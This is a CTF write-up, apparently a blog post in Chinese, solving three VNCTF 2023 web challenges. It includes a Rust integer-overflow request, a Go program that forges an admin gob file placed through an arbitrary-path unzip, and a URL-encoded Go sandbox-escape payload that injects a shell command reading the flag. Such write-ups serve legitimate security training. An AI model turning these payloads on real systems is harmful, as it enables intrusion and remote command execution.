[VNCTF 2023] web刷题记录

文章目录

    • 象棋王子
    • 电子木鱼
    • BabyGo


象棋王子

考点:前端js代码审计

直接查看js源码,搜一下alert
[VNCTF 2023] web刷题记录_第1张图片丢到控制台即可
[VNCTF 2023] web刷题记录_第2张图片

电子木鱼

考点:整数溢出

main.rs我们分段分析

首先这段代码是一个基于Rust的web应用程序中的路由处理函数。它使用了Rust的异步框架Actix和模板引擎Tera。
然后就是定义了不同结构体并且自动生成了序列化

#[derive(Serialize)]
struct APIResult {
    success: bool,
    message: &'static str,
}

#[derive(Deserialize)]
struct Info {
    name: String,
    quantity: i32,
}

#[derive(Debug, Copy, Clone, Serialize)]
struct Payload {
    name: &'static str,
    cost: i32,
}

给了payload列表

const PAYLOADS: &[Payload] = &[
    Payload {
        name: "Cost",
        cost: 10,
    },
    Payload {
        name: "Loan",
        cost: -1_000,
    },
    Payload {
        name: "CCCCCost",
        cost: 500,
    },
    Payload {
        name: "Donate",
        cost: 1,
    },
    Payload {
        name: "Sleep",
        cost: 0,
    },
];

然后看向/路由

#[get("/")]
async fn index(tera: web::Data) -> Result {
    let mut context = Context::new();

    context.insert("gongde", &GONGDE.get());

    if GONGDE.get() > 1_000_000_000 {
        context.insert(
            "flag",
            &std::env::var("FLAG").unwrap_or_else(|_| "flag{test_flag}".to_string()),
        );
    }

    match tera.render("index.html", &context) {
        Ok(body) => Ok(HttpResponse::Ok().body(body)),
        Err(err) => Err(error::ErrorInternalServerError(err)),
    }
}

在函数内部,首先创建了一个Context对象。然后通过context.insert("gongde",&GONGDE.get())将名为"gongde"的变量插入到上下文中,其值使用了一个全局变量GONGDE的get()方法来获取。接下来,通过判断GONGDE.get()的值是否大于1,000,000,000,如果是则返回flag

最后分析/upgrade路由

#[post("/upgrade")]
async fn upgrade(body: web::Form) -> Json {
    if GONGDE.get() < 0 {
        return web::Json(APIResult {
            success: false,
            message: "功德都搞成负数了,佛祖对你很失望",
        });
    }

    if body.quantity <= 0 {
        return web::Json(APIResult {
            success: false,
            message: "佛祖面前都敢作弊,真不怕遭报应啊",
        });
    }

    if let Some(payload) = PAYLOADS.iter().find(|u| u.name == body.name) {
        let mut cost = payload.cost;

        if payload.name == "Donate" || payload.name == "Cost" {
            cost *= body.quantity;
        }

        if GONGDE.get() < cost as i32 {
            return web::Json(APIResult {
                success: false,
                message: "功德不足",
            });
        }

        if cost != 0 {
            GONGDE.set(GONGDE.get() - cost as i32);
        }

        if payload.name == "Cost" {
            return web::Json(APIResult {
                success: true,
                message: "小扣一手功德",
            });
        } else if payload.name == "CCCCCost" {
            return web::Json(APIResult {
                success: true,
                message: "功德都快扣没了,怎么睡得着的",
            });
        } else if payload.name == "Loan" {
            return web::Json(APIResult {
                success: true,
                message: "我向佛祖许愿,佛祖借我功德,快说谢谢佛祖",
            });
        } else if payload.name == "Donate" {
            return web::Json(APIResult {
                success: true,
                message: "好人有好报",
            });
        } else if payload.name == "Sleep" {
            return web::Json(APIResult {
                success: true,
                message: "这是什么?床,睡一下",
            });
        }
    }

    web::Json(APIResult {
        success: false,
        message: "禁止开摆",
    })
}

POST接收info结构体的参数进行解析,然后返回json格式的APIResult类型的值;然后判断GONGDE.get() 的值是否小于0,POST请求参数quantity值是否小于等于0,如果name的值等于Donate或者Cost,进行自乘;如果大于i32则会造成整数溢出

i32 是 Rust 编程语言中的一种整数类型。它代表有符号的 32 位整数,可以存储的整数范围为 -2,147,483,648 到 2,147,483,647。

name=Loan&quantity=11451411

[VNCTF 2023] web刷题记录_第3张图片发现成功加了1000功德
然后修改name为Cost

[VNCTF 2023] web刷题记录_第4张图片得到flag

[VNCTF 2023] web刷题记录_第5张图片

BabyGo

考点:文件覆盖、go沙箱逃逸

源码如下

package main

import (
	"encoding/gob"
	"fmt"
	"github.com/PaulXu-cn/goeval"
	"github.com/duke-git/lancet/cryptor"
	"github.com/duke-git/lancet/fileutil"
	"github.com/duke-git/lancet/random"
	"github.com/gin-contrib/sessions"
	"github.com/gin-contrib/sessions/cookie"
	"github.com/gin-gonic/gin"
	"net/http"
	"os"
	"path/filepath"
	"strings"
)

type User struct {
	Name  string
	Path  string
	Power string
}

func main() {
	r := gin.Default()
	store := cookie.NewStore(random.RandBytes(16))
	r.Use(sessions.Sessions("session", store))
	r.LoadHTMLGlob("template/*")

	r.GET("/", func(c *gin.Context) {
		userDir := "/tmp/" + cryptor.Md5String(c.ClientIP()+"VNCTF2023GoGoGo~") + "/"
		session := sessions.Default(c)
		session.Set("shallow", userDir)
		session.Save()
		fileutil.CreateDir(userDir)
		gobFile, _ := os.Create(userDir + "user.gob")
		user := User{Name: "ctfer", Path: userDir, Power: "low"}
		encoder := gob.NewEncoder(gobFile)
		encoder.Encode(user)
		if fileutil.IsExist(userDir) && fileutil.IsExist(userDir+"user.gob") {
			c.HTML(200, "index.html", gin.H{"message": "Your path: " + userDir})
			return
		}
		c.HTML(500, "index.html", gin.H{"message": "failed to make user dir"})
	})

	r.GET("/upload", func(c *gin.Context) {
		c.HTML(200, "upload.html", gin.H{"message": "upload me!"})
	})

	r.POST("/upload", func(c *gin.Context) {
		session := sessions.Default(c)
		if session.Get("shallow") == nil {
			c.Redirect(http.StatusFound, "/")
		}
		userUploadDir := session.Get("shallow").(string) + "uploads/"
		fileutil.CreateDir(userUploadDir)
		file, err := c.FormFile("file")
		if err != nil {
			c.HTML(500, "upload.html", gin.H{"message": "no file upload"})
			return
		}
		ext := file.Filename[strings.LastIndex(file.Filename, "."):]
		if ext == ".gob" || ext == ".go" {
			c.HTML(500, "upload.html", gin.H{"message": "Hacker!"})
			return
		}
		filename := userUploadDir + file.Filename
		if fileutil.IsExist(filename) {
			fileutil.RemoveFile(filename)
		}
		err = c.SaveUploadedFile(file, filename)
		if err != nil {
			c.HTML(500, "upload.html", gin.H{"message": "failed to save file"})
			return
		}
		c.HTML(200, "upload.html", gin.H{"message": "file saved to " + filename})
	})

	r.GET("/unzip", func(c *gin.Context) {
		session := sessions.Default(c)
		if session.Get("shallow") == nil {
			c.Redirect(http.StatusFound, "/")
		}
		userUploadDir := session.Get("shallow").(string) + "uploads/"
		files, _ := fileutil.ListFileNames(userUploadDir)
		destPath := filepath.Clean(userUploadDir + c.Query("path"))
		for _, file := range files {
			if fileutil.MiMeType(userUploadDir+file) == "application/zip" {
				err := fileutil.UnZip(userUploadDir+file, destPath)
				if err != nil {
					c.HTML(200, "zip.html", gin.H{"message": "failed to unzip file"})
					return
				}
				fileutil.RemoveFile(userUploadDir + file)
			}
		}
		c.HTML(200, "zip.html", gin.H{"message": "success unzip"})
	})

	r.GET("/backdoor", func(c *gin.Context) {
		session := sessions.Default(c)
		if session.Get("shallow") == nil {
			c.Redirect(http.StatusFound, "/")
		}
		userDir := session.Get("shallow").(string)
		if fileutil.IsExist(userDir + "user.gob") {
			file, _ := os.Open(userDir + "user.gob")
			decoder := gob.NewDecoder(file)
			var ctfer User
			decoder.Decode(&ctfer)
			if ctfer.Power == "admin" {
				eval, err := goeval.Eval("", "fmt.Println(\"Good\")", c.DefaultQuery("pkg", "fmt"))
				if err != nil {
					fmt.Println(err)
				}
				c.HTML(200, "backdoor.html", gin.H{"message": string(eval)})
				return
			} else {
				c.HTML(200, "backdoor.html", gin.H{"message": "low power"})
				return
			}
		} else {
			c.HTML(500, "backdoor.html", gin.H{"message": "no such user gob"})
			return
		}
	})

	r.Run(":80")
}

分析一下

  1. /路由下定义了userDir为/tmp/xxx/,然后将该值赋值给session的键名shallow,接着创建目录读取user.gob并且创建user对象,具有三个属性。最后创建了一个新的Gob编码器encoder,并使用encoder.Encode方法将user对象编码并写入gobFile文件。通过调用Encode方法,user对象的值将被序列化并写入文件中
  2. /upload路由就是简单的文件上传功能,限制了上传文件类型不能为go和gob
  3. /unzip路由定义userUploadDir为session的shallow值拼接上uploads/,然后destPath由userUploadDir拼接上GET请求中可控参数名path。也就是说我们可以任意路径文件解压
  4. /backdoor路由读取user.gob文件内容,判断是否为admin,如果是则返回good

整体思路:我们利用任意路径文件解压和文件覆盖来实现覆盖user.gob,使得身份为admin;然后利用/backdoor的eval实现命令执行

我们已经知道user.gob的生成方式
[VNCTF 2023] web刷题记录_第6张图片
那么我们创建user.go,内容如下

package main

import (
	"encoding/gob"
	"os"
)

type User struct {
	Name  string
	Path  string
	Power string
}

func main() {
	gobFile, _ := os.Create("user.gob")
	user := User{Name: "ctfer", Path: "/tmp/4f0436fe5585d82af7c4545984d58188/", Power: "admin"}
	encoder := gob.NewEncoder(gobFile)
	encoder.Encode(user)
}

go run一下,得到user.gob
然后丢到linux里压缩成zip
[VNCTF 2023] web刷题记录_第7张图片
上传文件后,访问/unzip去解压到对应路径
[VNCTF 2023] web刷题记录_第8张图片
然后我们访问一下/backdoor,成功覆盖
[VNCTF 2023] web刷题记录_第9张图片
接下来就是如何命令执行 参考文章
这里考点是go语言沙箱逃逸
payload

/backdoor?pkg=os/exec"%0A"fmt")%0Afunc%09init()%7B%0Acmd:=exec.Command("/bin/sh","-c","cat${IFS}/f*")%0Ares,err:=cmd.CombinedOutput()%0Afmt.Println(err)%0Afmt.Println(res)%0A}%0Aconst(%0AMessage="fmt

[VNCTF 2023] web刷题记录_第10张图片
python脚本解一下得到flag

str = [102,108,97,103,123,102,54,52,99,98,52,56,53,45,101,98,57,53,45,52,52,50,99,45,57,99,49,54,45,55,100,102,98,48,52,97,100,102,57,57,101,125,10]

for i in range(42):
    print(chr(str[i]),end="")

你可能感兴趣的:(刷题记录,web安全,安全,php,python,学习,go)